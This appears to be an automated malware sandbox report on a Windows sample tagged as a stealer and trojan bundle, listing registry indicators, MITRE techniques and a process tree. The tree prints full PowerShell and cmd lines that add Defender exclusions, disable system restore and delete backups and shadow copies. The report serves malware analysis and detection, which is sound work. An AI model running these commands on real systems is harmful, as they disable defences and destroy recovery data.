fa2db7f7537ba1c8421530ae473b1a4adee754aa235f61deeddbaa2ba3f863f4

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "0"	powershell.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BerserkGuard.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	BerserkGuard.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	BerserkGuard.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	BerserkGuard.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\DependOnService = 520070006300530073002d00440049005300410042004c004500440000000000	BerserkGuard.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4092	powershell.exe
1020	powershell.exe
5308	powershell.exe
4552	powershell.exe
2016	powershell.exe
4332	powershell.exe
4332	powershell.exe
5308	powershell.exe
3404	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1944	wbadmin.exe
4996	wbadmin.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
16	5724	nvidia_d64.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\GameDriverX64.sys	BerserkGuard.exe

Executes dropped EXE 12 IoCs

pid	Process
4856	UnRAR.exe
3736	BerserkGuard.exe
1192	BerserkGuard.exe
5164	BerserkGuard.exe
2616	BerserkGuard.exe
5320	GameDriverX64.sys
3672	scvhost.exe
2516	nvidia_dr64.exe
3124	FACEITInstaller_64.exe
5556	FACEITInstaller_64.tmp
2408	nvidia_d64.exe
5724	nvidia_d64.exe

Loads dropped DLL 37 IoCs

pid	Process
5164	BerserkGuard.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe

Discovers running processes 1 TTPs 64 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2296	tasklist.exe
5540	tasklist.exe
4468	tasklist.exe
1700	tasklist.exe
2436	tasklist.exe
4384	tasklist.exe
5788	tasklist.exe
2704	tasklist.exe
1776	tasklist.exe
3844	tasklist.exe
1556	tasklist.exe
6068	tasklist.exe
4544	tasklist.exe
2564	tasklist.exe
4884	tasklist.exe
4676	tasklist.exe
2396	tasklist.exe
5940	tasklist.exe
3308	tasklist.exe
5720	tasklist.exe
4484	tasklist.exe
1380	tasklist.exe
5308	tasklist.exe
5476	tasklist.exe
2096	tasklist.exe
3176	tasklist.exe
5688	tasklist.exe
1248	tasklist.exe
2072	tasklist.exe
3696	tasklist.exe
2548	tasklist.exe
3204	tasklist.exe
6056	tasklist.exe
3312	tasklist.exe
4928	tasklist.exe
2336	tasklist.exe
3252	tasklist.exe
2608	tasklist.exe
4248	tasklist.exe
4588	tasklist.exe
5568	tasklist.exe
3960	tasklist.exe
5812	tasklist.exe
1708	tasklist.exe
4408	tasklist.exe
2488	tasklist.exe
2096	tasklist.exe
5528	tasklist.exe
2788	tasklist.exe
312	tasklist.exe
3024	tasklist.exe
3824	tasklist.exe
3824	tasklist.exe
5528	tasklist.exe
2244	tasklist.exe
5748	tasklist.exe
5548	tasklist.exe
2528	tasklist.exe
1556	tasklist.exe
4340	tasklist.exe
916	tasklist.exe
1496	tasklist.exe
4452	tasklist.exe
4548	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\System32\CodeIntegrity\CiPolicies\Active\{0283AC0F-FFF1-49AE-ADA1-8A933130CAD6}.cip	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4852	WScript.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File created	C:\Program Files\WindowsOptions\BerserkGuard.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstaller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\MR_ROBOT.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\sfx.rar	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3564	sc.exe
4412	sc.exe
1704	sc.exe
2888	sc.exe
5376	sc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000d00000001c555-128.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2084	cmd.exe
1808	cmd.exe
2544	cmd.exe
5024	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E39044945B7CC29DACD29AD703E10E7C28517D31\Blob = 030000000100000014000000e39044945b7cc29dacd29ad703e10e7c28517d310b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da00302010202141de4dcd452ae99e07928ca9f25352c85f46692ab300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303831363033303435385a170d3336303831353033303435385a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100bbf3e97be24f26c89b5462b1314792b98a6ab0c19c998c117bbd5e3705a333a6b3c6cfee64db9ebfae630c6d6ca3db100884a6bf3b934bbb6e54528b1b8cf05e985b3e1bf4900f7405a09feb18b623c8896ba6e5d242df8eaecfef7e1b50f419aa603d6def4220a2c7137a2828e900a7e0db10a13b4cef620140078356939d7c5d21836cbe21c171645ba45bc6715e03ee503cf9cadeee7c0269ede96039a4aba1078a27b9e83d062d75fdaa471d55da1d30321caade0bbac905b260e1a77b04e3212c7d2a703bfdf8eff5bdd39394d491df084f954526ea9e4c76c4d07e0c30f967b42c088e64c45187e1c825379fb8d82069f6c5c10d19ddc7a9d1f7eb78d10203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e04160414f1e424b792a0a62d6fb4b204426088b677c4c92f300d06092a864886f70d01010b050003820101003d1a794232394dd24b7c5bd355efe9393a60f32d939b367ffd4451e629005686abc75ed7f452a962d2fcfc68ce02e197dff7745f4222e816b7502dd1ea00e97b0467ed1887d1ecbfb2854f024c36a63a219e26230f441d6b7c67263d9973b52fdcdd7a5453d91c7d9eaa1acffad4600bad2d234835eb3712d655032a2ef2d687c03fa85eccc05d7aeed799a9b9fad718c8ddb17c199474e05383bd85e24d3a1d8f290206f706106d7a46907d5d5cd82bba7f4d69781d652cec7feb74128a5d11ff6fe031a85b89f294bb4861d0f28eb61276d57bddbe439fb02cd1c36d67e40efdb8292cc657c2564890dc7a3be0525349d8e61ba12286c8611a82f451c794e0	nvidia_dr64.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FACEITInstaller_64.tmp

Inno Setup is an open-source installation builder for Windows applications. 2 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/3124-282-0x0000000000220000-0x0000000000344000-memory.dmp	innosetup
behavioral2/memory/3124-576-0x0000000000220000-0x0000000000344000-memory.dmp	innosetup

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4888	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion spyware trojan

pid	Process
836	taskkill.exe
5564	taskkill.exe
1308	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{1B425186-4C9B-46E0-976E-015FBAD56AC9}	scvhost.exe

Modifies system certificate store 2 TTPs 1 IoCs

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E39044945B7CC29DACD29AD703E10E7C28517D31	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
3404	powershell.exe
2016	powershell.exe
2016	powershell.exe
2016	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
5164	BerserkGuard.exe
5164	BerserkGuard.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
1020	powershell.exe
1020	powershell.exe
1020	powershell.exe
5164	BerserkGuard.exe
5164	BerserkGuard.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
5308	powershell.exe
5308	powershell.exe
5308	powershell.exe
3672	scvhost.exe
3672	scvhost.exe
5164	BerserkGuard.exe
5164	BerserkGuard.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
4552	powershell.exe
4552	powershell.exe
4552	powershell.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
3672	scvhost.exe
5724	nvidia_d64.exe
5724	nvidia_d64.exe
3672	scvhost.exe
3672	scvhost.exe

Suspicious behavior: LoadsDriver 25 IoCs

pid	Process
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found
828	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeIncreaseQuotaPrivilege	3404	powershell.exe
Token: SeSecurityPrivilege	3404	powershell.exe
Token: SeTakeOwnershipPrivilege	3404	powershell.exe
Token: SeLoadDriverPrivilege	3404	powershell.exe
Token: SeSystemProfilePrivilege	3404	powershell.exe
Token: SeSystemtimePrivilege	3404	powershell.exe
Token: SeProfSingleProcessPrivilege	3404	powershell.exe
Token: SeIncBasePriorityPrivilege	3404	powershell.exe
Token: SeCreatePagefilePrivilege	3404	powershell.exe
Token: SeBackupPrivilege	3404	powershell.exe
Token: SeRestorePrivilege	3404	powershell.exe
Token: SeShutdownPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeSystemEnvironmentPrivilege	3404	powershell.exe
Token: SeRemoteShutdownPrivilege	3404	powershell.exe
Token: SeUndockPrivilege	3404	powershell.exe
Token: SeManageVolumePrivilege	3404	powershell.exe
Token: 33	3404	powershell.exe
Token: 34	3404	powershell.exe
Token: 35	3404	powershell.exe
Token: 36	3404	powershell.exe
Token: SeIncreaseQuotaPrivilege	3404	powershell.exe
Token: SeSecurityPrivilege	3404	powershell.exe
Token: SeTakeOwnershipPrivilege	3404	powershell.exe
Token: SeLoadDriverPrivilege	3404	powershell.exe
Token: SeSystemProfilePrivilege	3404	powershell.exe
Token: SeSystemtimePrivilege	3404	powershell.exe
Token: SeProfSingleProcessPrivilege	3404	powershell.exe
Token: SeIncBasePriorityPrivilege	3404	powershell.exe
Token: SeCreatePagefilePrivilege	3404	powershell.exe
Token: SeBackupPrivilege	3404	powershell.exe
Token: SeRestorePrivilege	3404	powershell.exe
Token: SeShutdownPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeSystemEnvironmentPrivilege	3404	powershell.exe
Token: SeRemoteShutdownPrivilege	3404	powershell.exe
Token: SeUndockPrivilege	3404	powershell.exe
Token: SeManageVolumePrivilege	3404	powershell.exe
Token: 33	3404	powershell.exe
Token: 34	3404	powershell.exe
Token: 35	3404	powershell.exe
Token: 36	3404	powershell.exe
Token: SeIncreaseQuotaPrivilege	3404	powershell.exe
Token: SeSecurityPrivilege	3404	powershell.exe
Token: SeTakeOwnershipPrivilege	3404	powershell.exe
Token: SeLoadDriverPrivilege	3404	powershell.exe
Token: SeSystemProfilePrivilege	3404	powershell.exe
Token: SeSystemtimePrivilege	3404	powershell.exe
Token: SeProfSingleProcessPrivilege	3404	powershell.exe
Token: SeIncBasePriorityPrivilege	3404	powershell.exe
Token: SeCreatePagefilePrivilege	3404	powershell.exe
Token: SeBackupPrivilege	3404	powershell.exe
Token: SeRestorePrivilege	3404	powershell.exe
Token: SeShutdownPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeSystemEnvironmentPrivilege	3404	powershell.exe
Token: SeRemoteShutdownPrivilege	3404	powershell.exe
Token: SeUndockPrivilege	3404	powershell.exe
Token: SeManageVolumePrivilege	3404	powershell.exe
Token: 33	3404	powershell.exe
Token: 34	3404	powershell.exe
Token: 35	3404	powershell.exe
Token: 36	3404	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 4852	1016	2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe	90
PID 4852 wrote to memory of 3404	4852	WScript.exe	91
PID 3404 wrote to memory of 4856	3404	powershell.exe	94
PID 3404 wrote to memory of 3736	3404	powershell.exe	95
PID 3736 wrote to memory of 3564	3736	BerserkGuard.exe	151
PID 3736 wrote to memory of 4412	3736	BerserkGuard.exe	99
PID 3736 wrote to memory of 1704	3736	BerserkGuard.exe	171
PID 5164 wrote to memory of 2888	5164	BerserkGuard.exe	105
PID 2616 wrote to memory of 5376	2616	BerserkGuard.exe	111
PID 3404 wrote to memory of 3672	3404	powershell.exe	113
PID 3404 wrote to memory of 2516	3404	powershell.exe	114
PID 2516 wrote to memory of 2016	2516	nvidia_dr64.exe	115
PID 3404 wrote to memory of 3124	3404	powershell.exe	117
PID 3124 wrote to memory of 5556	3124	FACEITInstaller_64.exe	118
PID 3672 wrote to memory of 4332	3672	scvhost.exe	119
PID 2516 wrote to memory of 4092	2516	nvidia_dr64.exe	121
PID 2516 wrote to memory of 2408	2516	nvidia_dr64.exe	124
PID 3672 wrote to memory of 1020	3672	scvhost.exe	126
PID 2408 wrote to memory of 5724	2408	nvidia_d64.exe	128
PID 1020 wrote to memory of 2084	1020	powershell.exe	130
PID 2084 wrote to memory of 1516	2084	cmd.exe	132
PID 1020 wrote to memory of 1808	1020	powershell.exe	136
PID 1808 wrote to memory of 1944	1808	cmd.exe	138
PID 1020 wrote to memory of 2544	1020	powershell.exe	139
PID 2544 wrote to memory of 4996	2544	cmd.exe	141
PID 1020 wrote to memory of 5024	1020	powershell.exe	142
PID 5024 wrote to memory of 4888	5024	cmd.exe	144
PID 3672 wrote to memory of 5308	3672	scvhost.exe	148
PID 3672 wrote to memory of 4552	3672	scvhost.exe	150
PID 5724 wrote to memory of 836	5724	nvidia_d64.exe	152
PID 5724 wrote to memory of 5564	5724	nvidia_d64.exe	187
PID 5724 wrote to memory of 1308	5724	nvidia_d64.exe	156
PID 5724 wrote to memory of 3960	5724	nvidia_d64.exe	224
PID 5724 wrote to memory of 5240	5724	nvidia_d64.exe	160
PID 5724 wrote to memory of 1756	5724	nvidia_d64.exe	260
PID 5724 wrote to memory of 1124	5724	nvidia_d64.exe	267
PID 5724 wrote to memory of 5568	5724	nvidia_d64.exe	166
PID 5724 wrote to memory of 2584	5724	nvidia_d64.exe	168
PID 5724 wrote to memory of 5836	5724	nvidia_d64.exe	170
PID 5724 wrote to memory of 1092	5724	nvidia_d64.exe	172
PID 5724 wrote to memory of 5352	5724	nvidia_d64.exe	174
PID 5724 wrote to memory of 4500	5724	nvidia_d64.exe	176
PID 5724 wrote to memory of 5188	5724	nvidia_d64.exe	178
PID 5724 wrote to memory of 4676	5724	nvidia_d64.exe	180
PID 5724 wrote to memory of 2548	5724	nvidia_d64.exe	250
PID 5724 wrote to memory of 4588	5724	nvidia_d64.exe	184
PID 5724 wrote to memory of 2992	5724	nvidia_d64.exe	290
PID 5724 wrote to memory of 2096	5724	nvidia_d64.exe	256
PID 5724 wrote to memory of 3776	5724	nvidia_d64.exe	190
PID 5724 wrote to memory of 2296	5724	nvidia_d64.exe	192
PID 5724 wrote to memory of 5528	5724	nvidia_d64.exe	194
PID 5724 wrote to memory of 2788	5724	nvidia_d64.exe	196
PID 5724 wrote to memory of 4572	5724	nvidia_d64.exe	198
PID 5724 wrote to memory of 972	5724	nvidia_d64.exe	200
PID 5724 wrote to memory of 312	5724	nvidia_d64.exe	202
PID 5724 wrote to memory of 4248	5724	nvidia_d64.exe	204
PID 5724 wrote to memory of 1496	5724	nvidia_d64.exe	206
PID 5724 wrote to memory of 3708	5724	nvidia_d64.exe	208
PID 5724 wrote to memory of 3444	5724	nvidia_d64.exe	245
PID 5724 wrote to memory of 5772	5724	nvidia_d64.exe	212
PID 5724 wrote to memory of 4396	5724	nvidia_d64.exe	248
PID 5724 wrote to memory of 1380	5724	nvidia_d64.exe	287
PID 5724 wrote to memory of 2024	5724	nvidia_d64.exe	218
PID 5724 wrote to memory of 3352	5724	nvidia_d64.exe	220

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-18_1aab8d1447e68484e331f5c110e93896_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3404
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -pHelloFriend! "C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\"
      4⤵
      Executes dropped EXE
      PID:4856
  - - C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe
      "C:\ProgramData\Microsoft DevDiv\BerserkGuard.exe"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Modifies security service
      Drops file in Drivers directory
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3736
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" qfailure BerserkGuard
        5⤵
        Launches sc.exe
        
        PID:3564
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failure BerserkGuard reset= 86400 actions= restart/5000/restart/15000/restart/60000
        5⤵
        Launches sc.exe
        
        PID:4412
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failureflag BerserkGuard 1
        5⤵
        Launches sc.exe
        
        PID:1704
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:3672
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4332
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1020
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2084
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:1516
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
